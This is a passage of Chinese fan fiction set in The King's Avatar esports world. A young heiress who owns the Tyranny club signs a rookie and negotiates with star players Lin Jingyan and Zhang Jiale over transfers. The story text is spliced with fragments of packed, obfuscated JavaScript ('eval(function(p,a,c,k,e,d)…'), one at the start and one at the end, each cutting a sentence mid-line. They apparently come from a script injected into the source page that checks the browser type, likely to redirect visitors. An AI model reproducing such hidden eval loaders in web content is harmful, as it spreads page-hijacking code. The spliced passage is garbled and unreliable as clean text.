但韩文清是谁?拳皇!联盟初代大神!他的走位刁钻得离谱,明明看着要往左,下一秒却突然变向右,一个伏虎腾翔就跳到了零下九度脸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩文清也看着他,那张万年冰山脸上,嘴角似乎……极其轻微地向上扯了一下。 “可以。”韩文清说,“明天开始跟一队训练。” 秦牧云的眼睛瞬间亮了,让他有了一种被认可的感觉。 虽然还是那副平静的表情,但那双眼睛里迸发出的光,让人无法忽视。 秦昭昭在旁边看得心花怒放,差点没跳起来欢呼。她强忍着激动,咳嗽两声抬起下巴,故作镇定地拍了拍秦牧云的肩膀:“看吧,我就说你行。” 秦牧云转过头,很认真地看着她,然后深深鞠了一躬:“谢谢秦总。” “别别别,叫我昭昭就行。”秦昭昭赶紧摆手,“以后就是队友了,不用这么客气。” 张新杰这时候走过来,手里拿着平板,上面已经列好了秦牧云的训练计划:“从明天开始,上午跟队训练基础配合,下午单独加练反应和地图理解。你的优点是沉稳,缺点是进攻欲望不够强,太容易陷入被动。职业比赛里,一味的防守是赢不了的。” 秦牧云认真点头:“是,张副队。” “还有,”张新杰推了推眼镜,“从今天开始,你的账号卡交给装备部,会给你配一套适合你风格的银装。神枪手的银装我们仓库里有几件现成的,先凑合用,后续会根据你的数据定制。” 秦牧云的几乎不敢相信自己的耳朵。 银装!职业选手的专属装备!他做梦都没想到,自己这么快就能用上银装。不但能成为职业选手,还能拥有银装,这是他一直以来梦寐以求的事。 一切安排妥当后,秦昭昭哼着小曲儿回到办公室。刚坐下,手机就响了,是老爹打来的。 “昭昭啊,听说你今天又干了件大事?”秦大海在电话那头笑,“训练营里挖了个新人直接进一队?” 秦昭昭惊讶:“爸你怎么知道?” “李经理给我打电话了,声音都在抖,说你胡闹。”秦大海笑得更欢了,“但我闺女这叫有魄力!看中了就下手,像我!” 秦昭昭哭笑不得:“爸,李经理没被我气死吧?” “气什么气,我跟他说了,我闺女想怎么搞就怎么搞,出了事我兜着。”秦大海大手一挥,“不过昭昭啊,爸得提醒你一句,职业圈有职业圈的规矩,你偶尔胡闹一下没关系,但大事上还是得听听那些懂行的人的意见。韩文清和张新杰都是靠谱的人,你得信他们。” 秦昭昭心里一暖:“知道了爸,我会的。” 挂掉电话,秦昭昭靠在椅背上,看着天花板发呆。 今天这事,她做得确实冲动,甚至可以说胡闹。但她不后悔。 因为她看到了秦牧云眼里的光,那种被认可、被期待、梦想突然照进现实的光。 那种光,她在韩文清的眼睛里看到过,在张新杰的眼睛里看到过,在白言飞的眼睛里看到过。 那是真正热爱荣耀的人才会有的光。 而她,想要守护这种光。 窗外夕阳西下,训练室的灯还亮着。秦昭昭起身走到窗边,看见秦牧云已经回到了训练营,正在跟教练说着什么。少年的背挺得笔直,侧脸在夕阳下镀了一层金边。 她忽然想起自己三个月前创建昭昭日月那个角色时的心情。纯粹的、毫无杂质的、对某个事物一见钟情的喜欢。 而现在,她不再只是一个玩家。 她是老板,是决策者,是这支战队的掌舵人之一。肩上的担子很重,前路也很难。 但她忽然觉得,这样好像也不坏。至少,她能亲眼看着那些眼里有光的人,一步一步走向荣耀之巅。 而她,会尽她所能,为他们铺平道路。 哪怕是用最笨拙、最胡闹的方式。 手机震动了一下,是张新杰发来的消息: “秦总,关于张佳乐和林敬言的初步接触已经有了反馈。百花战队明确表示张佳乐是非卖品,但林敬言那边……有戏。呼啸战队开价一千三百万,当然,那只是他一个人的价格,账号卡唐三打,还要一千二百万,一共两千五百万,李经理在等您的意见。” 秦昭昭盯着那两千五百万的数字看了三秒,然后打字回复: “告诉李经理,钱不是问题。但我要先跟林敬言本人聊聊,看他愿不愿意来霸图。如果他愿意,两千五百万就两千五百万。如果不愿意,一分钱也不花。” 发送。 她放下手机,伸了个懒腰。 3. 买下霸图的第三天 林敬言同意见面这事儿,是三天后敲定的。 地点定在Q市一家挺有名的茶室,雅致僻静,包间里飘着淡淡的檀香味。秦昭昭提前半小时就到了,坐在榻榻米上,盯着面前那杯绿茶发呆。 她其实有点紧张。 虽然老爹说了钱不是问题,虽然李经理已经把合同细节都准备好了,虽然张新杰甚至还给她做了份《如何与林敬言谈判》的战术分析。整整八页PPT,从性格分析到谈判技巧,严谨得像在准备总决赛。 但真到了要见面的当口,秦昭昭还是觉得心里没底。 这可不是签秦牧云那种心血来潮的捡漏。林敬言是联盟第一流氓,呼啸战队的王牌,全明星级别的选手。就算呼啸愿意放人,林敬言自己愿不愿意来霸图,那还得两说。 而且…… 秦昭昭打开手机相册,翻出林敬言的照片又看了一眼,挑了挑眉。 “联盟第一猥琐流……”秦昭昭小声嘀咕,“这气质也太违和了吧?” 正胡思乱想呢,包间的门被拉开了。 林敬言今天没穿队服,就一件简单的白色衬衫,袖子挽到手肘,下身是卡其色长裤,头发修剪得整齐利落。他脸上戴着副细框眼镜,镜片后的眼睛温润平和,嘴角还带着点若有若无的笑意。整个人气质干净得像是大学里的讲师,还是教文学的那种。 秦昭昭盯着他看了足足五秒,脑子里疯狂刷弹幕:玩流氓?这长相这气质玩流氓?他应该去玩牧师或者召唤师啊!再不济也该玩个剑客什么的,白衣飘飘多符合形象! “秦总?” 声音也好听,温和中带着点磁性。 秦昭昭赶紧站起来,差点把茶杯打翻:“林、林敬言选手?” “是我。”林敬言笑了笑,在对面坐下,“不好意思,路上有点堵,没迟到吧?” “没有没有,我也刚到。”秦昭昭摆摆手,心里那点紧张莫名其妙地散了一半。 服务员这时候进来上茶,一套精致的功夫茶具,茶艺师表演了一番行云流水的冲泡动作,最后将两杯琥珀色的茶汤分别放在两人面前。 林敬言端起茶杯,先闻了闻茶香,然后才小口啜饮。动作优雅得像是拍广告。 完了,气势上就输了。 雅间里安静了几分钟,只有茶水注入杯中的细微声响。秦昭昭盯着茶杯,脑子飞快转动,思考着该怎么开口。 直接说“我想买你”?太生硬了。 说“霸图需要你”?太官方了。 说“我很有钱你开个价”?太暴发户了。 而且这人……跟想象中完全不一样啊!她以为照片上的林敬言是装出来的斯文,毕竟要露台面的,但是真正见了发现这人好像就是这样啊! 这怎么玩流氓的? 林敬言似乎看穿了她的心思,推了推眼镜笑道:“秦总是不是觉得,我跟游戏里的唐三打不太搭?” 被说中心事,秦昭昭有点不好意思干笑两声:“是有点……您看起来更像玩牧师或者术士的。” “很多人都这么说。”林敬言笑着说道,丝毫没有意外,“其实我刚开始玩荣耀的时候,选的就是术士。后来觉得不够刺激,就换了个职业试试。结果一玩流氓,就玩到现在了。” “为什么选流氓啊?”秦昭昭忍不住好奇问。 林敬言想了想:“大概是因为……这个职业很有意思。不像拳法家那样正面硬刚,也不像神枪手那样远程压制。流氓要算计,要猥琐,要抓时机。有时候一场比赛下来,你可能没打出多少华丽的操作,但你就是赢了。” “我懂我懂!”秦昭昭突然来了兴致,“我玩拳法家的时候就喜欢那种拳拳到肉的感觉,但有时候打魔道学者特别憋屈,他们骑个扫把飞来飞去,我都摸不着……” 她说到一半突然停住,意识到自己跑题了。 今天不是来交流游戏心得的啊喂! 林敬言却笑了:“秦总也玩荣耀?” “玩啊,三个月了,拳法家。”秦昭昭挠挠头,“不过水平一般,竞技场胜率才百分之四十二。” “三个月就能打到百分之四十二,已经很不错了。”林敬言说得很真诚,“拳法家这个职业上手难,要练好得花时间。” 被大神夸奖,秦昭昭心里美滋滋的,但很快又拉回正题:“那个……林敬言选手,我今天约您来,其实是想谈谈转会的事。” 林敬言点点头,表情没太大变化:“我知道。李经理联系过呼啸,呼啸那边也跟我通过气了。” “那您是怎么想的?”秦昭昭问得直白。 林敬言端起茶杯,轻轻抿了一口,没有立刻回答。 包间里安静下来,只能听见窗外的蝉鸣和茶水沸腾的声音。秦昭昭屏住呼吸,等着他的回答。 “秦总,”林敬言放下茶杯,看向她,“您觉得我为什么要离开呼啸?” 这个问题把秦昭昭问住了。 她想了想,试探性地说:“因为……霸图能给您更好的待遇?” 林敬言笑了:“我在呼啸的待遇已经很好了。呼啸待我不薄,我在那里待了六年,从一年青训营到两年主力,再到三年队长。那支队伍里有我的青春,有我的战友,有我在荣耀里最熟悉的一切。” 他说得很平静,但秦昭昭能听出话里的分量。 六年。 对于一个职业选手来说,这几乎是大半个职业生涯了。 “那……”秦昭昭咬了咬嘴唇,“您想拿冠军吗?” 林敬言的手顿了顿。 他抬起眼睛,透过镜片看向秦昭昭。那双温和的眼睛里,有什么东西一闪而过,快得让人抓不住。 “当然想。”他看着茶杯里漂浮着的茶叶说,声音比刚才低了一些,“每个职业选手都想拿冠军。” “那就来霸图吧。”秦昭昭身体前倾,双手撑在桌上,“我虽然不懂职业圈,但我知道一件事——想拿冠军,就得跟最强的人一起战斗。韩文清,张新杰……对了,我还打算去挖张佳乐,虽然百花那边暂时不放人,但我会想办法的。” 她越说越激动,手舞足蹈起来:“您想想,韩队的拳法家正面强攻,张佳乐的弹药专家远程压制,您的流氓打游击和战术骚扰,张副队坐镇后方指挥……这阵容,横扫联盟都不是梦!” 她说这话时表情特别认真,眼睛里仿佛有星星在闪烁。那种纯粹的、毫不掩饰的野心和热情,让林敬言有些失神。 林敬言静静听着,没有打断她。 他见过很多老板,也听过很多“我们要拿冠军”的口号。但那些话要么说得太官方,像念稿子;要么说得太功利,只盯着商业价值。像秦昭昭这样,眼睛里闪着光、语气里透着“我就是要组最强战队”的劲儿,他还是第一次见。 等秦昭昭说完,他才缓缓开口:“秦总,您说的这些,听起来确实很美好。但职业比赛不是简单的加法,不是把几个厉害的选手凑在一起就能拿冠军。团队需要磨合,战术需要适配,化学反应需要时间……” “我知道。”秦昭昭点头,“张副队跟我说过这些。但我觉得,只要有足够强的选手,有足够好的战术,再加上足够的决心,就没有什么是不可能的。” 她顿了顿,看着林敬言的眼睛,认真地说:“而且林敬言选手,您应该比我更清楚,职业选手的黄金期就那么几年。您今年二十多了吧?还能打几年?您甘心在呼啸待到退役,一个冠军都没有吗?” 这话说得有点重,但秦昭昭必须说。 因为她看到林敬言在听到“冠军”两个字时,眼神微微动了一下。 那是一种渴望,一种不甘,一种深埋心底却从未熄灭的火。 然后他轻轻叹了口气,苦笑道:“秦总,您说话真直接。” “我这个人就这样,不会拐弯抹角。”秦昭昭实话实说,“而且我觉得,跟聪明人说话,直接点比较好。” 林敬言又喝了口茶,才慢慢说:“您说得对,我确实想要冠军。在呼啸七年,我们最好的成绩是季后赛四强。每次离冠军都差那么一点,每次都输得心有不甘。这些年我看着身边的队友来了又走,看着新人变成老将,看着自己的状态一点点下滑……我知道,我再不拼一把,可能就真的没机会了。” 他的声音很平静,但秦昭昭能听出里面的无奈和挣扎。 “那……”秦昭昭小心翼翼地问,“您愿意来霸图吗?” 林敬言没有立刻回答,而是问了个问题:“秦总,如果我去了霸图,您打算让我打什么位置?主力?替补?还是轮换?” “当然是主力啊!”秦昭昭想都没想就说,“我花两千五百万买您,难道是让您坐冷板凳的?您来了就是核心之一,跟韩队、张副队平起平坐。战术怎么安排我听张副队的,但您的位置肯定是雷打不动的主力。” 这个回答显然出乎林敬言的意料。 他原本以为,霸图有韩文清这个绝对核心,有张新杰这个战术大脑,他去了最多也就是个二当家或者三当家。但秦昭昭这话,分明是把他放在和韩文清同等的位置上。 “您就不怕韩队有意见?”林敬言问。 “韩队能有什么意见?”秦昭昭眨眨眼,“他来霸图是为了拿冠军,您来霸图也是为了拿冠军。目标一致,有什么好闹矛盾的?再说了,韩队那个人我虽然接触不多,但看得出来,他不是那种小心眼的人。只要能赢,他不在乎谁当核心。” 这话说得林敬言笑了。 确实,韩文清的为人,圈内人都清楚。硬气,耿直,为了胜利可以付出一切。这样的人,不会因为战术地位而排挤队友。 “还有一件事。”林敬言说,“我在呼啸有个搭档,方锐,玩盗贼的。我们配合了好几年,默契很好。如果我去霸图……” “方锐啊!”秦昭昭眼睛一亮,“我知道他,猥琐流盗贼,打法特别有意思!您要是想带他一起来,我也欢迎啊!不过得问问呼啸愿不愿意放人,而且也得看方锐自己的意思……” “我不是这个意思。”林敬言摇摇头,“方锐是呼啸的未来,呼啸不会放他走的。我只是想说……离开呼啸,意味着要离开这些并肩作战多年的队友。这种感觉,不太好受。” 秦昭昭沉默了。 她突然意识到,转会这件事,对选手来说不只是换个地方工作那么简单。 那意味着告别熟悉的队友,告别熟悉的战术体系,告别一座城市,甚至告别一段人生。 “我理解。你和方锐的犯罪组合是联盟最有名的搭档之一。但林敬言选手,你得承认,呼啸现在的配置,离冠军还有距离。”秦昭昭轻声说,“而且林敬言选手,有时候人要往前走,就得学会告别。而且您想想,如果您来了霸图,拿了冠军,那对呼啸的队友来说,不也是一种激励吗?告诉他们,坚持梦想,总会有实现的一天。” 林敬言看着眼前这个年轻女孩,心里有种说不出的感觉。 她不懂职业圈的复杂,不懂转会背后的利益纠葛,不懂人际关系里的弯弯绕绕。 但她懂一件事——梦想的力量。 而且她愿意为了这份力量,付出一切代价。 这种纯粹,在职业圈里已经很少见了。 林敬言端起茶杯,慢慢喝着。他的手指修长,握着茶杯的动作很稳,但秦昭昭注意到,他的指关节有点泛白。 他在思考,在挣扎。 秦昭昭也不催他,端起自己的茶杯,学着林敬言的样子小口啜饮。茶有点凉了,但香气还在。 “秦总,”林敬言突然问了个不相干的问题,“您玩荣耀,最喜欢什么?” 秦昭昭愣了一下,然后认真想了想:“最喜欢……赢的感觉吧。尤其是那种拼尽全力之后赢下来的感觉,特别爽。哦还有,我喜欢看厉害的人打比赛,看他们操作行云流水,看他们战术精妙绝伦,看他们为了胜利拼到最后一点血……每次看完都觉得,荣耀真是个了不起的游戏。”她说这话时十分真诚。 林敬言摇摇头,笑容更深了。他什么也没说,只是靠在椅背上,眼神望向窗外。茶馆外面是个小庭院,假山流水,竹影婆娑。 “秦总,”他说,“转会的事,我需要时间考虑。不是考虑待遇或者地位,是考虑……我能不能放下呼啸的一切,重新开始。” “我懂。”秦昭昭点头,“那您慢慢考虑,不着急。不过……” 她犹豫了一下,还是决定说出来:“有件事我觉得应该告诉您。李经理联系呼啸的时候,呼啸那边……其实已经打算把您挂牌了。只是还没正式通知您。” 林敬言的笑容僵在脸上。 “挂牌?”他重复了一遍这个词,声音有些发干。 “嗯。”秦昭昭小心翼翼地看着他,“呼啸好像……找到了更适合接替您的人选。当然这只是我听说的,不一定准确……” 她没有再说下去。 因为林敬言的脸色已经变了。 那种温和的笑容消失了,取而代之的是一种复杂的表情——震惊,茫然,苦涩,还有一丝难以察觉的失落。 他低下头,看着茶杯里漂浮的茶叶,很久没有说话。 秦昭昭有点后悔说这个了。 是不是太残忍了? 但她觉得,林敬言有权知道真相。如果呼啸真的打算放弃他,那他留在那里还有什么意义?等着被新人取代,然后慢慢淡出主力阵容,最后黯然退役? 那不是她认识的林敬言。 那也不是一个追求冠军的选手该有的结局。 “林敬言选手……”秦昭昭小声开口。 “我没事。”林敬言抬起头,已经恢复了平静,只是眼神里的光芒黯淡了一些,“谢谢您告诉我这些。确实……呼啸这两年一直在培养新人,我也感觉到自己的位置没那么稳固了。只是没想到,他们会这么快……” 他没有说完,但秦昭昭懂。 五年老将,为战队付出一切,最后却被当作可以交易的筹码。 这种感觉,肯定不好受。 “所以您更要来霸图。”秦昭昭认真地说,“不是为了证明什么,也不是为了报复谁。就是为了您自己,为了您还能打比赛的这几年,为了您还没实现的冠军梦。来霸图,我们给您舞台,给您支持,给您一切您需要的资源。然后我们一起,去拿那个该死的冠军奖杯。” 她说得热血沸腾,林敬言看着她这副模样,忽然笑了。 这次是真的笑,不是那种温和的、客套的笑,而是发自内心的、带着点释然的笑。 “秦总,您真是个有意思的人。”他说,“我从业这么多年,没见过您这样的老板。” “那是因为其他老板都是大人,我是小孩。”秦昭昭吐了吐舌头,“小孩做事不讲道理,只讲喜欢不喜欢。我喜欢荣耀,所以我买了俱乐部。我喜欢您打比赛的方式,所以我想把您挖过来。就这么简单。” “简单点好。”林敬言轻声说,“荣耀本来就应该简单点。喜欢,就去打 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放下手机,秦昭昭长长地呼出一口气。 她突然觉得,当老板好像也没那么难。 不就是真诚待人,认真做事,然后相信那些真正懂行的人吗? 窗外夕阳西下,茶室的小院里亮起了灯笼。秦昭昭起身结账,走出茶室时,海风迎面吹来,带着咸湿的气息。 她拿出手机,给老爹发了条消息:“爸,我今天见到林敬言了。他可能真的会来霸图。” 几秒后,老爹回复:“好!钱准备好了,随时可以打过去。我闺女就是厉害!” 秦昭昭笑了,把手机塞回口袋,朝公交车站走去。 路上她经过一家网吧,门口贴着荣耀职业联赛S7赛季的宣传海报。海报上是各大战队的明星选手,韩文清站在霸图队伍的最前面,拳套紧握,眼神凌厉。 秦昭昭停下脚步,看了很久。 她蹦蹦跳跳地回到俱乐部,一进门就撞见了秦牧云。少年刚从训练室出来,手里拿着瓶矿泉水,看见她,立刻站直:“秦总。” “说了叫昭昭就行。”秦昭昭摆摆手,“训练怎么样?跟得上吗?” “有点吃力。”秦牧云实话实说,“韩队的要求很高,张副队的战术太复杂了。但我在努力。” “那就好。”秦昭昭拍拍他的肩,“加油啊,我看好你。” 秦牧云点点头,犹豫了一下,问:“秦总,听说您在接触林敬言前辈?” “你怎么知道?”秦昭昭惊讶。 “训练室都在传。”秦牧云说,“白言飞前辈说的,说您要组银河战舰。” 秦昭昭哭笑不得。这帮职业选手,训练间隙都聊些什么八卦啊。 “是啊,在谈。”她承认,“你觉得林敬言怎么样?” “很强。”秦牧云想都不想就说,“我看过他的比赛,他的流氓玩得……很聪明。不是那种靠操作的强,是靠脑子的强。” 秦昭昭眼睛一亮:“对吧!我就说他厉害!” “如果他能来,战队会强很多。”秦牧云很客观地分析,“他的经验和韩队的刚猛、张副队的严谨能形成互补。而且流氓这个职业,在团队赛里能做的事情太多了。” 秦昭昭听得连连点头,心里美滋滋的。 看,连秦牧云都觉得林敬言该来。这说明她的眼光没错! “那你觉得张佳乐呢?”她顺口问。 秦牧云沉默了三秒,然后很认真地回答:“秦总,如果您真能把张佳乐前辈挖来,那霸图就真的无敌了。” 他说这话时表情特别严肃,严肃得像在宣读什么重要宣言。 秦昭昭被他逗笑了:“行,借你吉言。我去努力挖!” 她哼着歌回到办公室,心情好得不得了。打开电脑,登录荣耀,她的拳法家昭昭日月还站在主城里。 刚上线,林小雨的消息就弹过来了: “昭昭!快来竞技场!我今天新研究了一套连招,保证打得你满地找牙!” 秦昭昭回了个“等着”,然后传送到竞技场。 一进去,林小雨的弹药专家已经在那儿等着了。两人开了个房间,地图随机到空中陵墓。 “今天我要报仇!”林小雨在语音里喊,“上次被你连赢三局,我郁闷了一晚上!” “来啊来啊,谁怕谁!”秦昭昭戴上耳机,手指放在键盘上。 倒计时结束。 昭昭日月直接冲了过去,拳风呼啸。林小雨的弹药专家边退边扔手雷,光影乱飞。 想到韩文清教她的话,她开始观察林小雨的节奏。发现林小雨每次扔完冰弹都会下意识往后跳两步,每次放燃/烧/弹前都会有个抬手的动作。 抓到规律后,秦昭昭开始预判。 冰弹来了?提前侧移。 燃/烧/弹要放了?直接冲脸。 林小雨被打得手忙脚乱:“我去!昭昭你开挂了吧!怎么知道我要放什么技能!” 秦昭昭嘿嘿一笑:“这叫智商压制!” 最后一套伏虎腾翔接崩拳,把林小雨的弹药专家送出了竞技场。 赢了! 秦昭昭摘下耳机,兴奋地挥了挥拳头。 她忽然觉得,自己好像有点理解职业选手的感觉了。不是操作有多厉害,而是那种“我读懂了对手”的成就感,那种“我预判了你的预判”的爽快感。 手机又响了,是李经理打来的。 “秦总,呼啸那边又催了,问我们到底要不要林敬言。他们说还有别的战队在接触,如果我们不尽快决定,他们就要跟别人谈了。” 秦昭昭皱了皱眉:“他们在施压?” “大概率是。”李经理说,“转会期就这么多天,他们想尽快敲定,好去运作其他转会。” 秦昭昭想了想:“你告诉他们,我们需要三天时间。三天后给答复。” “那万一他们真跟别人……” “那就跟别人呗。”秦昭昭说得轻松,“如果林敬言自己不想来,我们强买也没意思。但如果他想来,别的战队出价再高,呼啸也得考虑选手意愿,不是吗?” 李经理在电话那头沉默了几秒,然后叹了口气:“秦总,您这心态真好。” “这不是心态好,这是想得开。”秦昭昭笑,“强扭的瓜不甜,这道理我懂。” 挂掉电话,秦昭昭靠在椅背上,看着电脑屏幕发呆。 昭昭日月还站在竞技场里,那个扎着高马尾的女.拳法家,眼神坚定,拳头紧握。 就像她一样。 不懂职业圈,不懂战队管理,不懂转会运作。 但她懂一件事,把对的人凑在一起,让他们去做对的事。 这就够了。 窗外的天已经全黑了,Q市的夜景灯火辉煌。训练室的灯还亮着,隐约能听见键盘敲击的声音。 秦昭昭打开手机,找到林敬言的微信,是今天分别前加的。 她打了几个字,又删掉,再打,再删。 最后发出去的消息只有一句: “林敬言选手,霸图的大门随时为你敞开。但更重要的是,去做让你不会后悔的选择。” 发送。 她关掉手机,然后躺在床上闭上了眼,嘴角带着浅浅的笑意。 4. 买下霸图的第四天 等待林敬言回应的这三天,秦昭昭觉得自己就像个等着开奖的彩民,整天坐立不安。 第一天,她每隔半小时就看一次手机,生怕错过林敬言的消息。结果手机静悄悄的,除了老爹发来的“闺女吃饭没”和闺蜜林小雨约她打游戏的邀请,啥也没有。 第二天,她开始怀疑自己是不是说错话了。是不是太直接了?是不是该委婉点?是不是该再多夸夸林敬言的技术而不是老提“你的状态不如以前了”这种扎心的话? 到第三天早上,秦昭昭终于受不了了。 她一拍桌子站起来,对着办公室落地窗外的海景大喊:“不行!我不能这么干等着!” 李经理正好推门进来送文件,被她这一嗓子吓得手一抖,文件夹差点掉地上。 “秦、秦总,您这是……” “李经理!”秦昭昭转过身,好像要去打架一样,“准备一下,我要出趟差。” “出差?去哪儿?” “K市,百花战队。”秦昭昭说得斩钉截铁,“林敬言这边要等,张佳乐那边可不能等。万一被别人抢先了怎么办?” 李经理张了张嘴,想说“张佳乐是百花非卖品您别想了”,但看着秦昭昭那张写满“我就是要干”的脸,话到嘴边又咽了回去。 算了,让她去碰碰钉子也好,碰完就知道职业圈不是那么简单的了。 于是当天下午,秦昭昭就坐上了飞往K市的飞机。头等舱,靠窗位置,空姐服务周到得让她有点不好意思。她老爹本来想派私人飞机送她,被她严词拒绝了。开什么玩笑,她是要去挖人,不是去炫富! 两个半小时后,飞机降落在K市机场。 百花俱乐部派了车来接,司机是个挺年轻的小伙子,看见秦昭昭时明显愣了一下,大概没想到霸图新老板这么年轻。 “秦总,我们老板在办公室等您。”小伙子一边开车一边说,“张佳乐选手今天也在俱乐部,不过他说……他说他不想见您。” 秦昭昭挑眉:“为什么?” “他说……”小伙子有点尴尬,“他说霸图都是糙汉子,他不想去。” 秦昭昭差点笑出声。 张佳乐这性格,跟她在比赛录像里看到的完全不一样啊。录像里的弹药专家百花缭乱,打法华丽得像放烟花,操作细腻得像绣花,她还以为本人也该是个精致的美男子呢。 结果居然嫌霸图糙? “没事。”秦昭昭摆摆手,“我先跟你们老板谈,谈完了再去见他。” 百花俱乐部的规模比霸图小一些,但装修得很精致,到处都是花花草草,空气里都飘着花香。秦昭昭被带到老板办公室,一进门就看见个中年男人坐在办公桌后,正擦着额头上的汗。 “秦总,欢迎欢迎。”百花老板站起身,笑得有点勉强,“请坐请坐。” 秦昭昭也不客气,在沙发上坐下,开门见山:“王总,我今天来,是想谈张佳乐转会的事。” 百花老板擦汗擦得更勤了:“秦总,这个……张佳乐是我们战队的核心,是非卖品啊……” “我知道他是核心。”秦昭昭从包里拿出早就准备好的文件,“所以我才亲自来谈。王总,您先看看这个。” 她把文件递过去。 百花老板接过来,翻开第一页,眼睛瞬间瞪大了。 那是一份转会报价单。 上面清清楚楚地写着:张佳乐,转会费一千九百万;百花缭乱账号卡,一千六百万。总计三千五百万。 百花老板的手开始抖。 他抬起头,看看报价单,又看看秦昭昭,再看看报价单,再看看秦昭昭。那张脸白了又红,红了又白,最后定格在一种“我是不是在做梦”的表情上。 “秦、秦总,您这是……” “我的诚意。”秦昭昭很认真地说,“王总,我知道张佳乐对百花很重要,他是战队的灵魂。但正因为他这么重要,我才愿意出这个价。三千五百万,这在联盟历史上都是天价了。” 百花老板咽了口唾沫,声音发颤:“可、可是张佳乐他……他自己不一定愿意走啊……” “所以我要跟他谈。”秦昭昭说,“只要他愿意,这笔交易就能成。王总,您想想,三千五百万,足够您重建一支有竞争力的队伍了。百花现在除了张佳乐,还有什么能拿得出手的选手吗?” 这话说得有点残忍,但也是事实。 百花这些年全靠张佳乐一个人撑着,成绩不上不下,最好的时候也就季后赛亚军。战队青黄不接,年轻选手没一个能挑大梁的。 百花老板盯着报价单,手指在纸上摩挲着,半天没说话。 办公室里安静得能听见墙上时钟的滴答声。 秦昭昭也不催他,端起茶杯慢慢喝茶。茶是花茶,香气很浓,但她喝不太惯。 过了好一会儿,百花老板才抬起头,声音沙哑:“秦总,我得……我得问问张佳乐的意见。” “应该的。”秦昭昭点头,“那麻烦您安排一下,我想跟他当面谈。” “他今天在俱乐部……但他说不想见您。” “那就我去找他。”秦昭昭站起身,“训练室在几楼?” 百花老板张了张嘴,最后还是叹了口气:“三楼,最里面那间。” 秦昭昭道了声谢,转身就走。 走到门口时,百花老板忽然叫住她:“秦总。” “嗯?” “如果……如果张佳乐真的愿意走。”百花老板的声音很轻,“请好好待他。他是个……很纯粹的选手,只想赢,只想拿冠军。在百花,我给不了他这些。” 秦昭昭回头,看着这位中年老板。他脸上有种很复杂的表情,有不舍,有无奈,有挣扎,最后都化成了深深的疲惫。 “我会的。”秦昭昭很郑重地说,“我向你保证。” 三楼训练室。 秦昭昭站在门口,深吸一口气,推门进去。 训练室里只有一个人。 靠窗的电脑前,坐着一个染着红色头发的青年,扎着个小辫子。他穿着百花的队服外套,里面是件白色T恤,耳朵里塞着耳机,正全神贯注地盯着屏幕。手指在键盘上跳跃,快得几乎看不清动作。 屏幕里,弹药专家正在竞技场里翻滚跳跃,子弹和手雷像不要钱一样往外扔,光影效果华丽得让人眼花缭乱。 秦昭昭站在门口看了三分钟,愣是没看懂他在打什么。只觉得满屏幕都是光,都是影,都是爆炸,就像……就像一场盛大的烟花秀。 难怪叫百花式打法,这视觉效果,绝了。 张佳乐打完一局,摘下耳机,伸了个懒腰。一转头,看见门口站着的秦昭昭,愣了一下。 “你谁啊?”他问,声音里带着点刚打完游戏的沙哑。 “秦昭昭,霸图的新老板。”秦昭昭走过去,很自然地拉了把椅子坐下,“来找你谈谈。” 张佳乐上下打量她几眼,然后嗤笑一声:“你就是那个买了霸图当玩具的大小姐?听说你还想挖我去霸图?省省吧,我不去。” “为什么?”秦昭昭问。 “霸图太糙了。”张佳乐说得直白,“韩文清那个拳法家,打法跟拆迁队似的,一点美感都没有。张新杰的牧师,严谨得像机器人。整个队伍的气质就跟Q市的海风一样,又冷又硬。我这种风格,去那儿不得憋死?” 秦昭昭被他说得一愣一愣的。 她想过张佳乐会拒绝,但没想到理由这么……这么有艺术性。 “可是霸图能拿冠军。”秦昭昭说。 张佳乐的动作顿了一下。 “百花现在能拿冠军吗?”秦昭昭继续问,“季后赛第二轮,四强,亚军,这就是极限了吧?王总有没有跟你说过,战队现在什么情况?青黄不接,后继无人,再这样下去,别说冠军了,季后赛都悬。” 张佳乐不说话了。 他靠在椅背上,转头看向窗外。训练室的窗外是俱乐部的花园,这个季节花开得正好,姹紫嫣红的一片。 “我在百花打了五年。”他轻声说,“从青训营就在这儿,百花缭乱这个账号卡,是我一手练起来的。这里的每一朵花,每一棵树,我都熟。让我走……我舍不得。” “我懂。”秦昭昭说,“林敬言也这么说。他说呼啸是他的家,舍不得。” 张佳乐转过头,惊讶地看着她:“你还去找林敬言了?” “是啊。”秦昭昭点头,“我想组一支银河战舰,韩文清,张新杰,你,林敬言,再加上白言飞。这个阵容,你说能不能拿冠军?” 张佳乐盯着她看了半天,忽然笑了:“大小姐,您知道组这么一支队伍要花多少钱吗?” “知道啊。”秦昭昭说得轻松,“我给我爸算过账,他说没问题。” “您爸可真宠您。” “那是。”秦昭昭一点也不谦虚,“我就这么一个爹,他就我这么一个闺女,不宠我宠谁?” 张佳乐又被她逗笑了。 他笑起来很好看,眼睛弯弯的,嘴角有两个很浅的梨涡。跟比赛时那种凌厉的气质完全不一样,像个邻家大哥哥。 “秦总,您这想法挺天真的。”张佳乐说,“但……也挺让人心动的。” “那你来不来?”秦昭昭眼睛一亮。 “我得想想。”张佳乐收起笑容,很认真地说,“这不是小事。转会,换城市,换队友,换战术体系……一切都要从头开始。而且您这个银河战舰,听着好听,但真组起来了,能不能磨合好还是个问题。韩文清的刚猛,我的华丽,林敬言的猥琐……这风格差得也太远了。” “所以才需要张新杰啊。”秦昭昭说,“他是战术大师,他能把这些风格揉在一起。而且我觉得,风格差异大才好玩呢。你想啊,对手一看,韩文清正面冲过来了,赶紧去防,结果你从侧面开始放烟花了,他们又得去防你。防着防着,林敬言不知道从哪个犄角旮旯冒出来,一个板砖拍晕一个。这多有意思!” 她说得眉飞色舞,手舞足蹈,仿佛已经看到了那个画面。 张佳乐看着她那副兴奋的样子,心里某根弦忽然被拨动了。 他已经很久没有这种“想想就兴奋”的感觉了。 在百花打了这么多年,年年季后赛,年年倒在亚军。不是不努力,不是不强,但就是差那么一点。差一点运气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 